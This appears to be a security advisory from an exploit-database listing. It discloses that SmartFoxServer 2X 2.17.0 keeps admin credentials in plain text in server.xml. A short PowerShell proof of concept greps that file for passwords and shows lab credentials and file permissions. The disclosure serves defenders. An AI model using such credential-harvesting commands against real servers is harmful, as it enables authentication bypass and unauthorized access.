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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: SmartFoxServer 2X 2.17.0 - Credentials Disclosure
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

SmartFoxServer 2X 2.17.0 Credentials Disclosure


Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: The application stores sensitive information in an
unencrypted XML file called /config/server.xml. A local
attacker that has access to the current user session can
successfully disclose plain-text credentials that can be
used to bypass authentication to the affected server.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5627
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5627.php

CWE ID: CWE-312
CWE URL: https://cwe.mitre.org/data/definitions/312.html


29.01.2021

--


PS C:\Users\t00t\SmartFoxServer_2X\SFS2X\config> Get-Content server.xml | Select-String -Pattern passw -Context 1,0

          <login>sfsadmin</login>
>         <password>Waddup</password>
          <login>testingus</login>
>         <password>123456</password>
      <mailUser>username</mailUser>
>     <mailPass>password</mailPass>


C:\Users\t00t\SmartFoxServer_2X\SFS2X\config>icacls server.xml
server.xml NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           LAB42\t00t:(I)(F)